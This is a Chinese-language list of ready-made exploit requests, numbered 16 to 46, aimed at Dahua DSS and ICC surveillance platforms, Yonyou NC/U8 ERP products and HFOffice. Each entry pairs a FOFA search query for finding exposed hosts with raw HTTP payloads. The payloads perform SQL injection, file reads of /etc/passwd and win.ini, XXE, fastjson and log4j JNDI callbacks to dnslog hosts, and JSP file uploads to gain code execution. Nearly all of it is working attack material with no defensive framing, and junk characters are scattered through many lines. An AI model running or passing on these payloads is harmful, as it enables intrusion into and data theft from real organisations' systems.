; Z. U+ C1 S7 Y% O6 x. O6 ]" Y16.  红帆HFOffice医微云SQL注入
4 G! }( B4 w( N) B, n, l6 BFOFA：title="HFOffice"
( @4 N( _0 K$ O; G5 y- w( Wpoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
1 Y, O( P# a& LHost: x.x.x.x
& }4 a5 S% {) t; U% wUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
9 J% H3 p+ W4 |; aAccept: */*
7 P0 P& A7 Q* v) T1 p; q; i& @Accept-Language: en
8 P. Y; C5 Q$ z1 `% bAccept-Encoding: gzip
, j4 h2 w' v0 j( v3 `
3 y& i7 Y, i; }( P6 G6 m$ ~2 p( _
; R1 K; b8 m) {/ F17. 大华 DSS itcBulletin SQL 注入
: {* m0 @7 s4 a0 g- @FOFA：app="dahua-DSS"
$ r5 H6 X% M. M( s' EPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip
: c. l# |3 U& V. `( K; K' K
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
; ~$ ?3 J8 O4 P- y      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
; b7 W- s+ W% {/ q      </netMarkings>
/ i6 }' i  L. Y( k) N6 U* [1 f9 \/ o    </ns1:deleteBulletin>
/ X" G' I+ p& q2 C) Z! T  </s11:Body>
</s11:Envelope>
; n. d2 K# m' I* U7 `9 ?" M( a
% }6 a9 Q: l( N. p5 H4 Y
$ U2 M$ _$ W9 }% n- m5 z' h18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
' j7 |- g6 j' r% K3 S7 \! jFOFA：app="dahua-DSS"
: G& h6 ]( c6 m; \/ I: d! W6 q" mGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
( U5 X5 r* S& u2 ]. a& n3 p( PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
  P7 g+ n3 R5 ~; L: Q+ y5 K  N* N$ dAccept: */*
Connection: keep-alive


3 C6 t3 I: E# a0 Z6 h
# y  F( x8 n' b0 K# }  B; p" O# F19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
. ~0 N6 m) t# C0 g& k0 d" m3 [: oGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
# Z# N9 j  O! n( {7 Q% fHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
( g  [: [; Q; h, e' c

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
% B, [( R% _( E0 n' CGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
1 r: k6 J; N4 o3 P# z$ W- ZUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 s# M# o% A2 Y1 HConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

: U( I5 I8 Y/ A3 k1 \/ [  \/ B
4 r0 O5 O/ Z9 M9 S* p6 O5 u$ u21. 大华ICC智能物联综合管理平台random远程代码执行
& l+ \' C9 ?6 [; i/ g5 s/ b* SFOFA：icon_hash="-1935899595"
2 [) z# J# Z7 U- h6 z. xPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
* H9 `- u% v- t+ f0 E6 L2 O0 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" G' t% n' f7 ZContent-Length: 161
Accept-Encoding: gzip
Connection: close
5 x" W# Z3 w( p( h2 ?1 |Content-Type: application/json;charset=utf-8

1 D4 o! V! P2 f! H* u3 P) R{
6 y9 f  R7 i& |8 Q8 k6 \"a":{
1 M8 ]: l( X# a- q, i  W# K   "@type":"com.alibaba.fastjson.JSONObject",
! l  r4 Q" C% U' T/ @  {    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
- [) k$ c0 \7 w0 G: d}
4 [. D# [9 x, @/ C5 R% w- n

6 z5 g9 H: h& }0 K- m' W6 S22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ }8 D3 z5 ?  D7 z  oFOFA：icon_hash="-1935899595"
, X6 c" E7 h, L# v- W) ~0 TPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
9 B1 s! U" P# \& H4 M1 p1 y5 g) tHost: your-ip
) K$ t2 E) M  d( S% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
6 e1 l" u; P: x+ C6 J"loginName":"${jndi:ldap://dnslog}"
}
" s1 N: A6 R7 c" \: O: L
/ P- s  ?% H0 p* l) F

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
6 d( L5 b3 m. b) u. j4 O+ @POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 Q: c" p7 E7 z! X6 AContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
2 r- w! y) h- S* ~Connection: close

{
    "a":{
# L$ b: `) g( `" q% Y2 E  k/ B# Y3 O        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
! ~' w# Y* g2 b$ c$ @1 ^4 r}
5 ]; Z' S' H5 M- q, B- v
4 \  b, P# E/ ^6 x3 t8 E/ }
24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
& F! H; J7 n, L  ^3 J9 @" KHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
: Y' t; i0 f' JConnection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

0 z6 ]5 J  o8 x* I-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
4 E/ a, y3 h9 c8 |Content-Type: text/plain

5 s4 `$ Z, y7 T: c+ M<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% e! p  }- F! q$ K% _( UContent-Disposition: form-data; name="fname"
# G- \" j2 Y2 b
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


) H* d$ l$ ?5 Y25. 用友NC registerServlet JNDI 远程代码执行
( {) S# m8 h2 p5 [  Z6 ?; H+ cFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
. ?  M" X1 v5 j" yHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
( d  y- V: m- J6 F% z3 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 [5 _+ ^1 @* j2 _0 EAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
5 i1 I: Q/ [7 V
type=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
$ l1 N- h) p  Q5 yGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 i5 ^% D- _- ~Host: your-ip
+ Z! Y) a) l6 r$ c: @0 O4 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ Q6 s0 ]  A2 |* G0 ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 c+ Y3 U, `) }+ M/ ^. ]6 c; c5 K

$ c; Q, l4 a0 j% D$ T' E# [. x27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
0 j! ~; e0 ~1 L9 L/ lHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
- p1 W% K* f; N+ L1 rContent-Type: text/xml; charset=utf-8
% L- A1 I1 f& O. V! ]

28. 用友NC grouptemplet 任意文件上传
3 L, U2 K& s8 N& O$ }6 xFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
) c6 p+ a7 e  Y) n7 t- D5 C6 ZHost: x.x.x.x
3 J6 n! x( a9 r* r( @0 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
0 ?8 ^( J1 @+ R) R6 \4 Q& Y6 I
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
3 j- ^8 S1 y& u* J6 Y$ }Content-Type: application/octet-stream

" ~) ?, P1 \" ]- K) L  {/ j. _, N<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

5 P' U6 L9 I: h0 m
/uapim/static/pages/nc/head.jsp
! R" [3 [) {  J0 b! D5 ^3 g
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
, c6 M5 ^  y; v. c* Z* xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) U: ^# P1 b8 |0 D( f. u8 BContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 {, }" I3 A  k9 B& @7 i0 O1 _Accept: */*
  u2 ]; ]* Q) qConnection: keep-alive
( u1 m* e- f; V# G4 n1 \# h
3 [9 z  D6 A, W6 o7 {: R
30. 用友NC importPml SQL注入
  b0 l, x# F9 {+ Q. ~# F* mFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
6 H; l* T* S# D1 nHost: your-ip
1 d4 e+ i9 k# Y3 A6 V, q$ x& L" NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
' }# ~% G8 G7 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
9 @7 T+ k( q  ]. i: M9 q/ E2 ~, BConnection: close
( r# Q. g' I& M- S- [
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
  g$ u" v6 o! F# [& t6 W" rContent-Type: image/jpeg
' n2 ^4 D0 _! m+ s) V------WebKitFormBoundaryH970hbttBhoCyj9V--
5 b. ~" M" Z% K; f# W* E3 i
& _& t: q6 N9 u: V2 P1 e; ^/ \/ c
& m# H3 X" X0 X31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ \, B5 f) f: V6 AHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, B$ @( I" Z6 q! C% ^5 n$ r  t* H

; `  v* p' l# N32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
5 o' V" G& U0 ?7 \3 Z* Y" \FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
0 ]8 T$ U0 g" o4 C9 S( _3 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: m$ A& z2 P) z& \Accept: */*
Connection: keep-alive
* `7 r- `# l" \
" p- a  \' y- o+ Q4 F
' ]! A- B, h) _. M& p33. 用友NC downTax/download SQL注入
4 }0 |  P/ A$ ~% I9 jversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
6 i7 L% |" N4 d  e2 t$ ~( i; I. SHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 R' c# p# ^; E3 Y2 }& jContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 {  K. {% a! R0 D/ k; h: a# VAccept: */*
Connection: keep-alive
( z- a' l0 `( A+ a+ w( r3 x% R5 u

: q  S' J4 v5 G1 _# S34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
" W0 ^. R% m; v& q& R! M5 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: ?$ N7 {# }0 Q" Q5 n" a* s/ e) @Content-Type: application/x-www-form-urlencoded
/ M9 `% y9 H/ E( ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ y& y! A: l- ?' H
0 |  `5 p& L8 {35. 用友NC-Cloud importhttpscer任意文件上传
; m; m# k5 G) k6 S( JFOFA：app="用友-NC-Cloud"
5 x0 n8 \+ A$ t" F- L5 J" s  CPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
9 @0 F) ]3 t1 Q' }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 }% }$ k; s8 XAccept-Encoding: gzip, deflate
7 i6 p: {" g5 c& C, w; JAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
9 [* x+ |# R- ~1 [5 r3 y) H$ ~Content-Length: 190
& p0 v# S+ B, O6 jContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

4 w' ]$ W* n6 L- [) R2 I--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
- L0 K% O3 {" z1 [  ^, r
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

2 T+ B. u$ u+ V/ i
36. 用友NC-Cloud soapFormat XXE
  e6 t! z0 k4 a( b3 k) D6 X# jFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
# ^6 k& I% k2 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
8 l& W3 ^4 V4 V2 x6 |0 |Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 C2 T) G1 x( {* o) \! N) K4 G! ^' KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 C! N! z  c: ~( lConnection: close
Content-Type: application/x-www-form-urlencoded
( v. x0 r% T. j4 ?. c9 ^Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
% h9 Z8 S/ `" t7 r0 g3 G+ v! wHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: |7 \/ r8 A/ n. N8 j6 [5 uContent-Length: 421
& L2 D: Q3 t. O) r; l) ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
7 `4 F- K( ]- c8 m- M6 [$ ^$ N! p) xAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
! J5 t- L$ a% h: x9 r! nSOAPAction: urn:getResult
( a* r2 _; ?) `" y& oUpgrade-Insecure-Requests: 1

% P' B/ P4 p% m! ?( H<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
, f) R$ Q$ q# @" W: Z<soapenv:Body>
, J! d9 p9 q( t" ^<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
" g1 J4 v9 [( d  @. y</soapenv:Envelope>

" c4 k) c0 g9 C: ?- l
6 H) h2 \4 B0 G' e/ {1 k' n
9 \% x( j4 ]* T' l. {" |2 ]38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
- ^" E4 e& R5 Y0 _5 K* D% AHost: 192.168.40.131:8088
- \8 w( t( X& c7 N' q1 M  XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
. ^0 Q' F. Y7 h' XContent-Length: 260
7 o6 I8 W( P* [7 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
, o2 ^5 m8 {# ^4 a. y$ B/ cAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 G: w# j: S  u. B, u9 OContent-Type: application/x-www-form-urlencoded
: _" N6 c% r2 [# Z/ {! N' A& I, K
! S; h: G) ^9 p+ y1 z__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
+ n( B2 f% H) N1 M
$ c: }7 O: p6 h# ?/ B& \' Q& ~1 s0 O
39. 用友U8 Cloud RegisterServlet SQL注入
7 u0 x  K$ I% f% Q- l$ E1 AFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
" m1 }. R  d- E' T! n+ y6 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
/ E1 s. c2 L, _1 v! DConnection: close
) y# Y+ |( P0 p( y- NContent-Length: 85
Accept: */*
9 g% B9 z3 T$ Z; o& ^) g6 CAccept-Language: en
Content-Type: application/x-www-form-urlencoded
' c' k! @) P( H- Z" WX-Forwarded-For: 127.0.0.1
- z' y( w+ c7 {$ RAccept-Encoding: gzip
' ^' `( _" _6 z: t( ~* v
2 r/ W2 r1 {) m" husercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

* V: O4 F" A& ~7 c6 d
2 q8 {; f9 Z3 d40. 用友U8-Cloud XChangeServlet XXE
  X/ n+ c- S( T- p: nFOFA：app="用友-U8-Cloud"
4 ]5 i$ _! i+ [4 W9 m$ dPOST /service/XChangeServlet HTTP/1.1
, v+ |) l5 B9 h& Y; p8 _5 HHost: x.x.x.x
7 W6 N% a) u* O; j7 l! P' nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. N- @5 r  f) j5 M9 eContent-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

$ N! o. y6 y5 N5 S& O/ i) e  \* Q
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
7 p! _3 h0 A3 j1 Z& s& _% a* EFOFA：app="用友-U8-Cloud"
2 j7 ?! |+ H8 |1 y& v& ~GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
: Z7 u3 E/ Q0 M0 ?% EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
8 U3 w# |8 m5 ~* W5 {) sAccept-Encoding: gzip
Connection: close

: v* W* B( C- {1 |, R
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
& t$ }; M% {+ a3 Y1 ?9 ]( mPOST /u8qx/SmartUpload01.jsp HTTP/1.1
0 V% G1 z- q0 J, I: W% [. G" _1 GHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
) \7 K% U( z% U% g! ~6 e: NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

/ Q$ t: e, x1 s# w& ?4 }PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

0 a3 J" s$ g( H4 b* H43. 用友GRP-U8 userInfoWeb SQL注入致RCE
6 F5 C* c: B/ d3 K3 a$ AFOFA：app="用友-GRP-U8"
5 T1 I- V: F" d! |4 ~POST /services/userInfoWeb HTTP/1.1
2 V. z; }# a6 e  a1 z: PHost: your-ip
0 h! w6 S) L% m  r: iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ J! z) a+ t6 l! l6 H: dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ Y) u1 _/ T8 f# wAccept-Language: zh-CN,zh;q=0.9
Connection: close
, U" F# f4 K" r6 bSOAPAction:
% Q% i$ T; }$ q7 nContent-Type: text/xml;charset=UTF-8
. a9 U. Z# c# o! m- V
7 U5 j1 z; A1 o<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
7 M( P  L: k  z$ n8 V( S% K   <soapenv:Header/>
& t5 a' J1 {8 i+ k* J, a1 b7 s   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
/ J' z! I. S9 B2 h* I4 H- q   </soapenv:Body>
</soapenv:Envelope>
" h/ F. z% R1 ?0 Z* f7 v* d
" X! {. _9 |% a4 z# h+ ~7 f6 }
: m% g" v, k% V7 u  ^8 u44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
4 c5 I9 J0 n$ {9 WGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ f+ O5 a8 z- t% M+ ]6 D. DAccept-Encoding: gzip, deflate
6 Z+ E5 Y* M  a3 pAccept-Language: zh-CN,zh;q=0.9
0 D& Q& N& e9 s/ `" a4 u' G% x* DConnection: close

4 X4 P3 S% b' Y& T% U
$ G9 Y1 P% x$ w0 P/ n$ I, U$ l3 s45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
/ x% M7 ~2 ^) j. {* G3 n. wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ i# |& c, ?) U- e) BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 N' Z" n! u% P( n  B! O
9 j2 z. X, l( }reqData=<?xml version="1.0"?>
! [9 o: B( E! {  O  k<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

: m9 [5 Q) H2 {% t  J
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
" q7 c  U5 S" ^+ X3 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: D. j# x" X3 p/ k4 ?/ l% IAccept-Encoding: gzip, deflate
6 t4 N6 e, T) c' B, t! KAccept-Language: zh-CN,zh;q=0.9
